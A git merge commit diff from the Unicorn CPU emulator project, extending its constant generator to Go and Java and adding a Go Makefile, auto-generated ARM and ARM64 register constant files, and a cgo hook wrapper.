Merge remote-tracking branch 'upstream/master' into change-handle-based-api
This commit is contained in:
commit
3bd705a060
3
.gitignore
vendored
3
.gitignore
vendored
@ -84,3 +84,6 @@ regress/map_crash
|
|||||||
regress/sigill
|
regress/sigill
|
||||||
regress/sigill2
|
regress/sigill2
|
||||||
regress/block_test
|
regress/block_test
|
||||||
|
regress/map_write
|
||||||
|
regress/ro_mem_test
|
||||||
|
regress/nr_mem_test
|
||||||
|
@ -15,6 +15,7 @@ SAMPLE_X86 = $(TMPDIR)/sample_x86
|
|||||||
|
|
||||||
all:
|
all:
|
||||||
cd python && $(MAKE) gen_const
|
cd python && $(MAKE) gen_const
|
||||||
|
cd go && $(MAKE) gen_const
|
||||||
|
|
||||||
samples: expected python
|
samples: expected python
|
||||||
|
|
||||||
|
@ -5,7 +5,7 @@ import sys, re
|
|||||||
|
|
||||||
INCL_DIR = '../include/unicorn/'
|
INCL_DIR = '../include/unicorn/'
|
||||||
|
|
||||||
include = [ 'arm.h', 'arm64.h', 'mips.h', 'x86.h', 'sparc.h', 'm68k.h' ]
|
include = [ 'arm.h', 'arm64.h', 'mips.h', 'x86.h', 'sparc.h', 'm68k.h', 'unicorn.h' ]
|
||||||
|
|
||||||
template = {
|
template = {
|
||||||
'python': {
|
'python': {
|
||||||
@ -20,9 +20,42 @@ template = {
|
|||||||
'x86.h': 'x86',
|
'x86.h': 'x86',
|
||||||
'sparc.h': 'sparc',
|
'sparc.h': 'sparc',
|
||||||
'm68k.h': 'm68k',
|
'm68k.h': 'm68k',
|
||||||
|
'unicorn.h': 'unicorn',
|
||||||
'comment_open': '#',
|
'comment_open': '#',
|
||||||
'comment_close': '',
|
'comment_close': '',
|
||||||
},
|
},
|
||||||
|
'go': {
|
||||||
|
'header': "package unicorn\n// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [%s_const.go]\nconst (\n",
|
||||||
|
'footer': ")",
|
||||||
|
'line_format': '\t%s = %s\n',
|
||||||
|
'out_file': './go/unicorn/%s_const.go',
|
||||||
|
# prefixes for constant filenames of all archs - case sensitive
|
||||||
|
'arm.h': 'arm',
|
||||||
|
'arm64.h': 'arm64',
|
||||||
|
'mips.h': 'mips',
|
||||||
|
'x86.h': 'x86',
|
||||||
|
'sparc.h': 'sparc',
|
||||||
|
'm68k.h': 'm68k',
|
||||||
|
'unicorn.h': 'unicorn',
|
||||||
|
'comment_open': '//',
|
||||||
|
'comment_close': '',
|
||||||
|
},
|
||||||
|
'java': {
|
||||||
|
'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\npackage unicorn;\n\npublic interface %sConst {\n",
|
||||||
|
'footer': "\n}\n",
|
||||||
|
'line_format': ' public static final int %s = %s;\n',
|
||||||
|
'out_file': './java/unicorn/%sConst.java',
|
||||||
|
# prefixes for constant filenames of all archs - case sensitive
|
||||||
|
'arm.h': 'Arm',
|
||||||
|
'arm64.h': 'Arm64',
|
||||||
|
'mips.h': 'Mips',
|
||||||
|
'x86.h': 'X86',
|
||||||
|
'sparc.h': 'Sparc',
|
||||||
|
'm68k.h': 'M68k',
|
||||||
|
'unicorn.h': 'Unicorn',
|
||||||
|
'comment_open': '//',
|
||||||
|
'comment_close': '',
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
# markup for comments to be added to autogen files
|
# markup for comments to be added to autogen files
|
||||||
@ -35,9 +68,11 @@ def gen(lang):
|
|||||||
prefix = templ[target]
|
prefix = templ[target]
|
||||||
outfile = open(templ['out_file'] %(prefix), 'w')
|
outfile = open(templ['out_file'] %(prefix), 'w')
|
||||||
outfile.write(templ['header'] % (prefix))
|
outfile.write(templ['header'] % (prefix))
|
||||||
|
if target == 'unicorn.h':
|
||||||
|
prefix = ''
|
||||||
lines = open(INCL_DIR + target).readlines()
|
lines = open(INCL_DIR + target).readlines()
|
||||||
|
|
||||||
|
previous = {}
|
||||||
count = 0
|
count = 0
|
||||||
for line in lines:
|
for line in lines:
|
||||||
line = line.strip()
|
line = line.strip()
|
||||||
@ -50,17 +85,21 @@ def gen(lang):
|
|||||||
if line == '' or line.startswith('//'):
|
if line == '' or line.startswith('//'):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not line.startswith("UC_" + prefix.upper()):
|
|
||||||
continue
|
|
||||||
|
|
||||||
tmp = line.strip().split(',')
|
tmp = line.strip().split(',')
|
||||||
for t in tmp:
|
for t in tmp:
|
||||||
t = t.strip()
|
t = t.strip()
|
||||||
if not t or t.startswith('//'): continue
|
if not t or t.startswith('//'): continue
|
||||||
f = re.split('\s+', t)
|
f = re.split('\s+', t)
|
||||||
|
|
||||||
|
# parse #define UC_TARGET (num)
|
||||||
|
define = False
|
||||||
|
if f[0] == '#define' and len(f) >= 3 and f[2].isdigit():
|
||||||
|
define = True
|
||||||
|
f.pop(0)
|
||||||
|
f.insert(1, '=')
|
||||||
|
|
||||||
if f[0].startswith("UC_" + prefix.upper()):
|
if f[0].startswith("UC_" + prefix.upper()):
|
||||||
if len(f) > 1 and f[1] not in '//=':
|
if len(f) > 1 and f[1] not in ('//', '='):
|
||||||
print("Error: Unable to convert %s" % f)
|
print("Error: Unable to convert %s" % f)
|
||||||
continue
|
continue
|
||||||
elif len(f) > 1 and f[1] == '=':
|
elif len(f) > 1 and f[1] == '=':
|
||||||
@ -69,29 +108,31 @@ def gen(lang):
|
|||||||
rhs = str(count)
|
rhs = str(count)
|
||||||
count += 1
|
count += 1
|
||||||
|
|
||||||
try:
|
lhs = f[0].strip()
|
||||||
count = int(rhs) + 1
|
# evaluate bitshifts in constants e.g. "UC_X86 = 1 << 1"
|
||||||
if (count == 1):
|
match = re.match(r'(?P<rhs>\s*\d+\s*<<\s*\d+\s*)', rhs)
|
||||||
outfile.write("\n")
|
if match:
|
||||||
except ValueError:
|
rhs = eval(match.group(1))
|
||||||
if lang == 'ocaml':
|
else:
|
||||||
# ocaml uses lsl for '<<', lor for '|'
|
# evaluate references to other constants e.g. "UC_ARM_REG_X = UC_ARM_REG_SP"
|
||||||
rhs = rhs.replace('<<', ' lsl ')
|
match = re.match(r'^([^\d]\w+)$', rhs)
|
||||||
rhs = rhs.replace('|', ' lor ')
|
if match:
|
||||||
# ocaml variable has _ as prefix
|
rhs = previous[match.group(1)]
|
||||||
if rhs[0].isalpha():
|
|
||||||
rhs = '_' + rhs
|
|
||||||
|
|
||||||
outfile.write(templ['line_format'] %(f[0].strip(), rhs))
|
count = int(rhs) + 1
|
||||||
|
if (count == 1):
|
||||||
|
outfile.write("\n")
|
||||||
|
outfile.write(templ['line_format'] % (lhs, rhs))
|
||||||
|
previous[lhs] = rhs
|
||||||
|
|
||||||
outfile.write(templ['footer'])
|
outfile.write(templ['footer'])
|
||||||
outfile.close()
|
outfile.close()
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
try:
|
lang = sys.argv[1]
|
||||||
gen(sys.argv[1])
|
if not lang in template:
|
||||||
except:
|
raise RuntimeError("Unsupported binding %s" % lang)
|
||||||
raise RuntimeError("Unsupported binding %s" % sys.argv[1])
|
gen(sys.argv[1])
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
if len(sys.argv) < 2:
|
if len(sys.argv) < 2:
|
||||||
|
14
bindings/go/Makefile
Normal file
14
bindings/go/Makefile
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
# Go binding for Unicorn engine. Ryan Hileman <lunixbochs@gmail.com>
|
||||||
|
|
||||||
|
.PHONY: gen_const test
|
||||||
|
|
||||||
|
all:
|
||||||
|
$(MAKE) gen_const
|
||||||
|
cd unicorn && go build
|
||||||
|
$(MAKE) test
|
||||||
|
|
||||||
|
gen_const:
|
||||||
|
cd .. && python const_generator.py go
|
||||||
|
|
||||||
|
test:
|
||||||
|
cd unicorn && go test
|
277
bindings/go/unicorn/arm64_const.go
Normal file
277
bindings/go/unicorn/arm64_const.go
Normal file
@ -0,0 +1,277 @@
|
|||||||
|
package unicorn
|
||||||
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm64_const.go]
|
||||||
|
const (
|
||||||
|
|
||||||
|
// ARM64 registers
|
||||||
|
|
||||||
|
UC_ARM64_REG_INVALID = 0
|
||||||
|
UC_ARM64_REG_X29 = 1
|
||||||
|
UC_ARM64_REG_X30 = 2
|
||||||
|
UC_ARM64_REG_NZCV = 3
|
||||||
|
UC_ARM64_REG_SP = 4
|
||||||
|
UC_ARM64_REG_WSP = 5
|
||||||
|
UC_ARM64_REG_WZR = 6
|
||||||
|
UC_ARM64_REG_XZR = 7
|
||||||
|
UC_ARM64_REG_B0 = 8
|
||||||
|
UC_ARM64_REG_B1 = 9
|
||||||
|
UC_ARM64_REG_B2 = 10
|
||||||
|
UC_ARM64_REG_B3 = 11
|
||||||
|
UC_ARM64_REG_B4 = 12
|
||||||
|
UC_ARM64_REG_B5 = 13
|
||||||
|
UC_ARM64_REG_B6 = 14
|
||||||
|
UC_ARM64_REG_B7 = 15
|
||||||
|
UC_ARM64_REG_B8 = 16
|
||||||
|
UC_ARM64_REG_B9 = 17
|
||||||
|
UC_ARM64_REG_B10 = 18
|
||||||
|
UC_ARM64_REG_B11 = 19
|
||||||
|
UC_ARM64_REG_B12 = 20
|
||||||
|
UC_ARM64_REG_B13 = 21
|
||||||
|
UC_ARM64_REG_B14 = 22
|
||||||
|
UC_ARM64_REG_B15 = 23
|
||||||
|
UC_ARM64_REG_B16 = 24
|
||||||
|
UC_ARM64_REG_B17 = 25
|
||||||
|
UC_ARM64_REG_B18 = 26
|
||||||
|
UC_ARM64_REG_B19 = 27
|
||||||
|
UC_ARM64_REG_B20 = 28
|
||||||
|
UC_ARM64_REG_B21 = 29
|
||||||
|
UC_ARM64_REG_B22 = 30
|
||||||
|
UC_ARM64_REG_B23 = 31
|
||||||
|
UC_ARM64_REG_B24 = 32
|
||||||
|
UC_ARM64_REG_B25 = 33
|
||||||
|
UC_ARM64_REG_B26 = 34
|
||||||
|
UC_ARM64_REG_B27 = 35
|
||||||
|
UC_ARM64_REG_B28 = 36
|
||||||
|
UC_ARM64_REG_B29 = 37
|
||||||
|
UC_ARM64_REG_B30 = 38
|
||||||
|
UC_ARM64_REG_B31 = 39
|
||||||
|
UC_ARM64_REG_D0 = 40
|
||||||
|
UC_ARM64_REG_D1 = 41
|
||||||
|
UC_ARM64_REG_D2 = 42
|
||||||
|
UC_ARM64_REG_D3 = 43
|
||||||
|
UC_ARM64_REG_D4 = 44
|
||||||
|
UC_ARM64_REG_D5 = 45
|
||||||
|
UC_ARM64_REG_D6 = 46
|
||||||
|
UC_ARM64_REG_D7 = 47
|
||||||
|
UC_ARM64_REG_D8 = 48
|
||||||
|
UC_ARM64_REG_D9 = 49
|
||||||
|
UC_ARM64_REG_D10 = 50
|
||||||
|
UC_ARM64_REG_D11 = 51
|
||||||
|
UC_ARM64_REG_D12 = 52
|
||||||
|
UC_ARM64_REG_D13 = 53
|
||||||
|
UC_ARM64_REG_D14 = 54
|
||||||
|
UC_ARM64_REG_D15 = 55
|
||||||
|
UC_ARM64_REG_D16 = 56
|
||||||
|
UC_ARM64_REG_D17 = 57
|
||||||
|
UC_ARM64_REG_D18 = 58
|
||||||
|
UC_ARM64_REG_D19 = 59
|
||||||
|
UC_ARM64_REG_D20 = 60
|
||||||
|
UC_ARM64_REG_D21 = 61
|
||||||
|
UC_ARM64_REG_D22 = 62
|
||||||
|
UC_ARM64_REG_D23 = 63
|
||||||
|
UC_ARM64_REG_D24 = 64
|
||||||
|
UC_ARM64_REG_D25 = 65
|
||||||
|
UC_ARM64_REG_D26 = 66
|
||||||
|
UC_ARM64_REG_D27 = 67
|
||||||
|
UC_ARM64_REG_D28 = 68
|
||||||
|
UC_ARM64_REG_D29 = 69
|
||||||
|
UC_ARM64_REG_D30 = 70
|
||||||
|
UC_ARM64_REG_D31 = 71
|
||||||
|
UC_ARM64_REG_H0 = 72
|
||||||
|
UC_ARM64_REG_H1 = 73
|
||||||
|
UC_ARM64_REG_H2 = 74
|
||||||
|
UC_ARM64_REG_H3 = 75
|
||||||
|
UC_ARM64_REG_H4 = 76
|
||||||
|
UC_ARM64_REG_H5 = 77
|
||||||
|
UC_ARM64_REG_H6 = 78
|
||||||
|
UC_ARM64_REG_H7 = 79
|
||||||
|
UC_ARM64_REG_H8 = 80
|
||||||
|
UC_ARM64_REG_H9 = 81
|
||||||
|
UC_ARM64_REG_H10 = 82
|
||||||
|
UC_ARM64_REG_H11 = 83
|
||||||
|
UC_ARM64_REG_H12 = 84
|
||||||
|
UC_ARM64_REG_H13 = 85
|
||||||
|
UC_ARM64_REG_H14 = 86
|
||||||
|
UC_ARM64_REG_H15 = 87
|
||||||
|
UC_ARM64_REG_H16 = 88
|
||||||
|
UC_ARM64_REG_H17 = 89
|
||||||
|
UC_ARM64_REG_H18 = 90
|
||||||
|
UC_ARM64_REG_H19 = 91
|
||||||
|
UC_ARM64_REG_H20 = 92
|
||||||
|
UC_ARM64_REG_H21 = 93
|
||||||
|
UC_ARM64_REG_H22 = 94
|
||||||
|
UC_ARM64_REG_H23 = 95
|
||||||
|
UC_ARM64_REG_H24 = 96
|
||||||
|
UC_ARM64_REG_H25 = 97
|
||||||
|
UC_ARM64_REG_H26 = 98
|
||||||
|
UC_ARM64_REG_H27 = 99
|
||||||
|
UC_ARM64_REG_H28 = 100
|
||||||
|
UC_ARM64_REG_H29 = 101
|
||||||
|
UC_ARM64_REG_H30 = 102
|
||||||
|
UC_ARM64_REG_H31 = 103
|
||||||
|
UC_ARM64_REG_Q0 = 104
|
||||||
|
UC_ARM64_REG_Q1 = 105
|
||||||
|
UC_ARM64_REG_Q2 = 106
|
||||||
|
UC_ARM64_REG_Q3 = 107
|
||||||
|
UC_ARM64_REG_Q4 = 108
|
||||||
|
UC_ARM64_REG_Q5 = 109
|
||||||
|
UC_ARM64_REG_Q6 = 110
|
||||||
|
UC_ARM64_REG_Q7 = 111
|
||||||
|
UC_ARM64_REG_Q8 = 112
|
||||||
|
UC_ARM64_REG_Q9 = 113
|
||||||
|
UC_ARM64_REG_Q10 = 114
|
||||||
|
UC_ARM64_REG_Q11 = 115
|
||||||
|
UC_ARM64_REG_Q12 = 116
|
||||||
|
UC_ARM64_REG_Q13 = 117
|
||||||
|
UC_ARM64_REG_Q14 = 118
|
||||||
|
UC_ARM64_REG_Q15 = 119
|
||||||
|
UC_ARM64_REG_Q16 = 120
|
||||||
|
UC_ARM64_REG_Q17 = 121
|
||||||
|
UC_ARM64_REG_Q18 = 122
|
||||||
|
UC_ARM64_REG_Q19 = 123
|
||||||
|
UC_ARM64_REG_Q20 = 124
|
||||||
|
UC_ARM64_REG_Q21 = 125
|
||||||
|
UC_ARM64_REG_Q22 = 126
|
||||||
|
UC_ARM64_REG_Q23 = 127
|
||||||
|
UC_ARM64_REG_Q24 = 128
|
||||||
|
UC_ARM64_REG_Q25 = 129
|
||||||
|
UC_ARM64_REG_Q26 = 130
|
||||||
|
UC_ARM64_REG_Q27 = 131
|
||||||
|
UC_ARM64_REG_Q28 = 132
|
||||||
|
UC_ARM64_REG_Q29 = 133
|
||||||
|
UC_ARM64_REG_Q30 = 134
|
||||||
|
UC_ARM64_REG_Q31 = 135
|
||||||
|
UC_ARM64_REG_S0 = 136
|
||||||
|
UC_ARM64_REG_S1 = 137
|
||||||
|
UC_ARM64_REG_S2 = 138
|
||||||
|
UC_ARM64_REG_S3 = 139
|
||||||
|
UC_ARM64_REG_S4 = 140
|
||||||
|
UC_ARM64_REG_S5 = 141
|
||||||
|
UC_ARM64_REG_S6 = 142
|
||||||
|
UC_ARM64_REG_S7 = 143
|
||||||
|
UC_ARM64_REG_S8 = 144
|
||||||
|
UC_ARM64_REG_S9 = 145
|
||||||
|
UC_ARM64_REG_S10 = 146
|
||||||
|
UC_ARM64_REG_S11 = 147
|
||||||
|
UC_ARM64_REG_S12 = 148
|
||||||
|
UC_ARM64_REG_S13 = 149
|
||||||
|
UC_ARM64_REG_S14 = 150
|
||||||
|
UC_ARM64_REG_S15 = 151
|
||||||
|
UC_ARM64_REG_S16 = 152
|
||||||
|
UC_ARM64_REG_S17 = 153
|
||||||
|
UC_ARM64_REG_S18 = 154
|
||||||
|
UC_ARM64_REG_S19 = 155
|
||||||
|
UC_ARM64_REG_S20 = 156
|
||||||
|
UC_ARM64_REG_S21 = 157
|
||||||
|
UC_ARM64_REG_S22 = 158
|
||||||
|
UC_ARM64_REG_S23 = 159
|
||||||
|
UC_ARM64_REG_S24 = 160
|
||||||
|
UC_ARM64_REG_S25 = 161
|
||||||
|
UC_ARM64_REG_S26 = 162
|
||||||
|
UC_ARM64_REG_S27 = 163
|
||||||
|
UC_ARM64_REG_S28 = 164
|
||||||
|
UC_ARM64_REG_S29 = 165
|
||||||
|
UC_ARM64_REG_S30 = 166
|
||||||
|
UC_ARM64_REG_S31 = 167
|
||||||
|
UC_ARM64_REG_W0 = 168
|
||||||
|
UC_ARM64_REG_W1 = 169
|
||||||
|
UC_ARM64_REG_W2 = 170
|
||||||
|
UC_ARM64_REG_W3 = 171
|
||||||
|
UC_ARM64_REG_W4 = 172
|
||||||
|
UC_ARM64_REG_W5 = 173
|
||||||
|
UC_ARM64_REG_W6 = 174
|
||||||
|
UC_ARM64_REG_W7 = 175
|
||||||
|
UC_ARM64_REG_W8 = 176
|
||||||
|
UC_ARM64_REG_W9 = 177
|
||||||
|
UC_ARM64_REG_W10 = 178
|
||||||
|
UC_ARM64_REG_W11 = 179
|
||||||
|
UC_ARM64_REG_W12 = 180
|
||||||
|
UC_ARM64_REG_W13 = 181
|
||||||
|
UC_ARM64_REG_W14 = 182
|
||||||
|
UC_ARM64_REG_W15 = 183
|
||||||
|
UC_ARM64_REG_W16 = 184
|
||||||
|
UC_ARM64_REG_W17 = 185
|
||||||
|
UC_ARM64_REG_W18 = 186
|
||||||
|
UC_ARM64_REG_W19 = 187
|
||||||
|
UC_ARM64_REG_W20 = 188
|
||||||
|
UC_ARM64_REG_W21 = 189
|
||||||
|
UC_ARM64_REG_W22 = 190
|
||||||
|
UC_ARM64_REG_W23 = 191
|
||||||
|
UC_ARM64_REG_W24 = 192
|
||||||
|
UC_ARM64_REG_W25 = 193
|
||||||
|
UC_ARM64_REG_W26 = 194
|
||||||
|
UC_ARM64_REG_W27 = 195
|
||||||
|
UC_ARM64_REG_W28 = 196
|
||||||
|
UC_ARM64_REG_W29 = 197
|
||||||
|
UC_ARM64_REG_W30 = 198
|
||||||
|
UC_ARM64_REG_X0 = 199
|
||||||
|
UC_ARM64_REG_X1 = 200
|
||||||
|
UC_ARM64_REG_X2 = 201
|
||||||
|
UC_ARM64_REG_X3 = 202
|
||||||
|
UC_ARM64_REG_X4 = 203
|
||||||
|
UC_ARM64_REG_X5 = 204
|
||||||
|
UC_ARM64_REG_X6 = 205
|
||||||
|
UC_ARM64_REG_X7 = 206
|
||||||
|
UC_ARM64_REG_X8 = 207
|
||||||
|
UC_ARM64_REG_X9 = 208
|
||||||
|
UC_ARM64_REG_X10 = 209
|
||||||
|
UC_ARM64_REG_X11 = 210
|
||||||
|
UC_ARM64_REG_X12 = 211
|
||||||
|
UC_ARM64_REG_X13 = 212
|
||||||
|
UC_ARM64_REG_X14 = 213
|
||||||
|
UC_ARM64_REG_X15 = 214
|
||||||
|
UC_ARM64_REG_X16 = 215
|
||||||
|
UC_ARM64_REG_X17 = 216
|
||||||
|
UC_ARM64_REG_X18 = 217
|
||||||
|
UC_ARM64_REG_X19 = 218
|
||||||
|
UC_ARM64_REG_X20 = 219
|
||||||
|
UC_ARM64_REG_X21 = 220
|
||||||
|
UC_ARM64_REG_X22 = 221
|
||||||
|
UC_ARM64_REG_X23 = 222
|
||||||
|
UC_ARM64_REG_X24 = 223
|
||||||
|
UC_ARM64_REG_X25 = 224
|
||||||
|
UC_ARM64_REG_X26 = 225
|
||||||
|
UC_ARM64_REG_X27 = 226
|
||||||
|
UC_ARM64_REG_X28 = 227
|
||||||
|
UC_ARM64_REG_V0 = 228
|
||||||
|
UC_ARM64_REG_V1 = 229
|
||||||
|
UC_ARM64_REG_V2 = 230
|
||||||
|
UC_ARM64_REG_V3 = 231
|
||||||
|
UC_ARM64_REG_V4 = 232
|
||||||
|
UC_ARM64_REG_V5 = 233
|
||||||
|
UC_ARM64_REG_V6 = 234
|
||||||
|
UC_ARM64_REG_V7 = 235
|
||||||
|
UC_ARM64_REG_V8 = 236
|
||||||
|
UC_ARM64_REG_V9 = 237
|
||||||
|
UC_ARM64_REG_V10 = 238
|
||||||
|
UC_ARM64_REG_V11 = 239
|
||||||
|
UC_ARM64_REG_V12 = 240
|
||||||
|
UC_ARM64_REG_V13 = 241
|
||||||
|
UC_ARM64_REG_V14 = 242
|
||||||
|
UC_ARM64_REG_V15 = 243
|
||||||
|
UC_ARM64_REG_V16 = 244
|
||||||
|
UC_ARM64_REG_V17 = 245
|
||||||
|
UC_ARM64_REG_V18 = 246
|
||||||
|
UC_ARM64_REG_V19 = 247
|
||||||
|
UC_ARM64_REG_V20 = 248
|
||||||
|
UC_ARM64_REG_V21 = 249
|
||||||
|
UC_ARM64_REG_V22 = 250
|
||||||
|
UC_ARM64_REG_V23 = 251
|
||||||
|
UC_ARM64_REG_V24 = 252
|
||||||
|
UC_ARM64_REG_V25 = 253
|
||||||
|
UC_ARM64_REG_V26 = 254
|
||||||
|
UC_ARM64_REG_V27 = 255
|
||||||
|
UC_ARM64_REG_V28 = 256
|
||||||
|
UC_ARM64_REG_V29 = 257
|
||||||
|
UC_ARM64_REG_V30 = 258
|
||||||
|
UC_ARM64_REG_V31 = 259
|
||||||
|
|
||||||
|
// pseudo registers
|
||||||
|
UC_ARM64_REG_PC = 260
|
||||||
|
UC_ARM64_REG_ENDING = 261
|
||||||
|
|
||||||
|
// alias registers
|
||||||
|
UC_ARM64_REG_IP1 = 215
|
||||||
|
UC_ARM64_REG_IP0 = 216
|
||||||
|
UC_ARM64_REG_FP = 1
|
||||||
|
UC_ARM64_REG_LR = 2
|
||||||
|
)
|
128
bindings/go/unicorn/arm_const.go
Normal file
128
bindings/go/unicorn/arm_const.go
Normal file
@ -0,0 +1,128 @@
|
|||||||
|
package unicorn
|
||||||
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm_const.go]
|
||||||
|
const (
|
||||||
|
|
||||||
|
// ARM registers
|
||||||
|
|
||||||
|
UC_ARM_REG_INVALID = 0
|
||||||
|
UC_ARM_REG_APSR = 1
|
||||||
|
UC_ARM_REG_APSR_NZCV = 2
|
||||||
|
UC_ARM_REG_CPSR = 3
|
||||||
|
UC_ARM_REG_FPEXC = 4
|
||||||
|
UC_ARM_REG_FPINST = 5
|
||||||
|
UC_ARM_REG_FPSCR = 6
|
||||||
|
UC_ARM_REG_FPSCR_NZCV = 7
|
||||||
|
UC_ARM_REG_FPSID = 8
|
||||||
|
UC_ARM_REG_ITSTATE = 9
|
||||||
|
UC_ARM_REG_LR = 10
|
||||||
|
UC_ARM_REG_PC = 11
|
||||||
|
UC_ARM_REG_SP = 12
|
||||||
|
UC_ARM_REG_SPSR = 13
|
||||||
|
UC_ARM_REG_D0 = 14
|
||||||
|
UC_ARM_REG_D1 = 15
|
||||||
|
UC_ARM_REG_D2 = 16
|
||||||
|
UC_ARM_REG_D3 = 17
|
||||||
|
UC_ARM_REG_D4 = 18
|
||||||
|
UC_ARM_REG_D5 = 19
|
||||||
|
UC_ARM_REG_D6 = 20
|
||||||
|
UC_ARM_REG_D7 = 21
|
||||||
|
UC_ARM_REG_D8 = 22
|
||||||
|
UC_ARM_REG_D9 = 23
|
||||||
|
UC_ARM_REG_D10 = 24
|
||||||
|
UC_ARM_REG_D11 = 25
|
||||||
|
UC_ARM_REG_D12 = 26
|
||||||
|
UC_ARM_REG_D13 = 27
|
||||||
|
UC_ARM_REG_D14 = 28
|
||||||
|
UC_ARM_REG_D15 = 29
|
||||||
|
UC_ARM_REG_D16 = 30
|
||||||
|
UC_ARM_REG_D17 = 31
|
||||||
|
UC_ARM_REG_D18 = 32
|
||||||
|
UC_ARM_REG_D19 = 33
|
||||||
|
UC_ARM_REG_D20 = 34
|
||||||
|
UC_ARM_REG_D21 = 35
|
||||||
|
UC_ARM_REG_D22 = 36
|
||||||
|
UC_ARM_REG_D23 = 37
|
||||||
|
UC_ARM_REG_D24 = 38
|
||||||
|
UC_ARM_REG_D25 = 39
|
||||||
|
UC_ARM_REG_D26 = 40
|
||||||
|
UC_ARM_REG_D27 = 41
|
||||||
|
UC_ARM_REG_D28 = 42
|
||||||
|
UC_ARM_REG_D29 = 43
|
||||||
|
UC_ARM_REG_D30 = 44
|
||||||
|
UC_ARM_REG_D31 = 45
|
||||||
|
UC_ARM_REG_FPINST2 = 46
|
||||||
|
UC_ARM_REG_MVFR0 = 47
|
||||||
|
UC_ARM_REG_MVFR1 = 48
|
||||||
|
UC_ARM_REG_MVFR2 = 49
|
||||||
|
UC_ARM_REG_Q0 = 50
|
||||||
|
UC_ARM_REG_Q1 = 51
|
||||||
|
UC_ARM_REG_Q2 = 52
|
||||||
|
UC_ARM_REG_Q3 = 53
|
||||||
|
UC_ARM_REG_Q4 = 54
|
||||||
|
UC_ARM_REG_Q5 = 55
|
||||||
|
UC_ARM_REG_Q6 = 56
|
||||||
|
UC_ARM_REG_Q7 = 57
|
||||||
|
UC_ARM_REG_Q8 = 58
|
||||||
|
UC_ARM_REG_Q9 = 59
|
||||||
|
UC_ARM_REG_Q10 = 60
|
||||||
|
UC_ARM_REG_Q11 = 61
|
||||||
|
UC_ARM_REG_Q12 = 62
|
||||||
|
UC_ARM_REG_Q13 = 63
|
||||||
|
UC_ARM_REG_Q14 = 64
|
||||||
|
UC_ARM_REG_Q15 = 65
|
||||||
|
UC_ARM_REG_R0 = 66
|
||||||
|
UC_ARM_REG_R1 = 67
|
||||||
|
UC_ARM_REG_R2 = 68
|
||||||
|
UC_ARM_REG_R3 = 69
|
||||||
|
UC_ARM_REG_R4 = 70
|
||||||
|
UC_ARM_REG_R5 = 71
|
||||||
|
UC_ARM_REG_R6 = 72
|
||||||
|
UC_ARM_REG_R7 = 73
|
||||||
|
UC_ARM_REG_R8 = 74
|
||||||
|
UC_ARM_REG_R9 = 75
|
||||||
|
UC_ARM_REG_R10 = 76
|
||||||
|
UC_ARM_REG_R11 = 77
|
||||||
|
UC_ARM_REG_R12 = 78
|
||||||
|
UC_ARM_REG_S0 = 79
|
||||||
|
UC_ARM_REG_S1 = 80
|
||||||
|
UC_ARM_REG_S2 = 81
|
||||||
|
UC_ARM_REG_S3 = 82
|
||||||
|
UC_ARM_REG_S4 = 83
|
||||||
|
UC_ARM_REG_S5 = 84
|
||||||
|
UC_ARM_REG_S6 = 85
|
||||||
|
UC_ARM_REG_S7 = 86
|
||||||
|
UC_ARM_REG_S8 = 87
|
||||||
|
UC_ARM_REG_S9 = 88
|
||||||
|
UC_ARM_REG_S10 = 89
|
||||||
|
UC_ARM_REG_S11 = 90
|
||||||
|
UC_ARM_REG_S12 = 91
|
||||||
|
UC_ARM_REG_S13 = 92
|
||||||
|
UC_ARM_REG_S14 = 93
|
||||||
|
UC_ARM_REG_S15 = 94
|
||||||
|
UC_ARM_REG_S16 = 95
|
||||||
|
UC_ARM_REG_S17 = 96
|
||||||
|
UC_ARM_REG_S18 = 97
|
||||||
|
UC_ARM_REG_S19 = 98
|
||||||
|
UC_ARM_REG_S20 = 99
|
||||||
|
UC_ARM_REG_S21 = 100
|
||||||
|
UC_ARM_REG_S22 = 101
|
||||||
|
UC_ARM_REG_S23 = 102
|
||||||
|
UC_ARM_REG_S24 = 103
|
||||||
|
UC_ARM_REG_S25 = 104
|
||||||
|
UC_ARM_REG_S26 = 105
|
||||||
|
UC_ARM_REG_S27 = 106
|
||||||
|
UC_ARM_REG_S28 = 107
|
||||||
|
UC_ARM_REG_S29 = 108
|
||||||
|
UC_ARM_REG_S30 = 109
|
||||||
|
UC_ARM_REG_S31 = 110
|
||||||
|
UC_ARM_REG_ENDING = 111
|
||||||
|
|
||||||
|
// alias registers
|
||||||
|
UC_ARM_REG_R13 = 12
|
||||||
|
UC_ARM_REG_R14 = 10
|
||||||
|
UC_ARM_REG_R15 = 11
|
||||||
|
UC_ARM_REG_SB = 75
|
||||||
|
UC_ARM_REG_SL = 76
|
||||||
|
UC_ARM_REG_FP = 77
|
||||||
|
UC_ARM_REG_IP = 78
|
||||||
|
)
|
30
bindings/go/unicorn/hook.c
Normal file
30
bindings/go/unicorn/hook.c
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
#include <unicorn/unicorn.h>
|
||||||
|
#include "_cgo_export.h"
|
||||||
|
|
||||||
|
uc_err uc_hook_add2(uch handle, uch *h2, uc_hook_t type, void *callback, void *user_data, int extra) {
|
||||||
|
return uc_hook_add(handle, h2, type, callback, user_data, extra);
|
||||||
|
}
|
||||||
|
|
||||||
|
void hookCode_cgo(uch handle, uint64_t addr, uint32_t size, void *user) {
|
||||||
|
hookCode(handle, addr, size, user);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool hookMemInvalid_cgo(uch handle, uc_mem_type type, uint64_t addr, int size, int64_t value, void *user) {
|
||||||
|
return hookMemInvalid(handle, type, addr, size, value, user);
|
||||||
|
}
|
||||||
|
|
||||||
|
void hookMemAccess_cgo(uch handle, uc_mem_type type, uint64_t addr, int size, int64_t value, void *user) {
|
||||||
|
hookMemAccess(handle, type, addr, size, value, user);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t hookX86In_cgo(uch handle, uint32_t port, uint32_t size, void *user) {
|
||||||
|
return hookX86In(handle, port, size, user);
|
||||||
|
}
|
||||||
|
|
||||||
|
